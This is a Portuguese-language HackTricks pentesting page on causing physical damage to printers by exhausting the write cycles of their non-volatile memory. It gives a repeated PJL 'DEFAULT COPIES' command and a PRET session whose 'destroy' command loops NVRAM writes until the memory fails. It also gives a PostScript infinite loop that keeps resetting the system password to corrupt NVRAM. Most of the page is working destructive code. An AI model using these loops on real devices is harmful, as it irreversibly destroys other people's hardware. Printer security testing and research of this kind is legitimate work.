hacktricks/network-services-pentesting/pentesting-printers/physical-damage.md
2023-06-06 18:56:34 +00:00

5.4 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

As configurações de longo prazo para impressoras e outros dispositivos embutidos são armazenadas em memória não volátil (NVRAM), que é tradicionalmente implementada como EEPROM ou como memória flash. Ambos os componentes têm uma vida útil limitada. Hoje, os fornecedores de memória flash garantem cerca de 100.000 regravações antes que quaisquer erros de gravação possam ocorrer.

PJL

Para um teste prático de destruição da funcionalidade de gravação NVRAM, pode-se definir continuamente o valor de longo prazo para o número de cópias com valores diferentes para X:

@PJL DEFAULT COPIES=X

Normalmente, antes de parar de permitir a escrita, todos os parâmetros NVRAM são fixados para o valor padrão de fábrica e todas as variáveis ainda podem ser alteradas para o trabalho de impressão atual usando o comando @PJL SET....

Usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11

PostScript

Para o PostScript, é necessário encontrar uma entrada no dicionário currentsystemparams que sobreviva a uma reinicialização (e, portanto, deve ser armazenada em algum tipo de NVRAM). Um bom candidato seria uma senha do PostScript.
O PostScript pode executar um script que corrompe sua própria NVRAM:

/counter 0 def
{ << /Password counter 16 string cvs
     /SystemParamsPassword counter 1 add 16 string cvs
  >> setsystemparams /counter counter 1 add def
} loop

Mais informações sobre essas técnicas podem ser encontradas em http://hacking-printers.net/wiki/index.php/Physical_damage

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥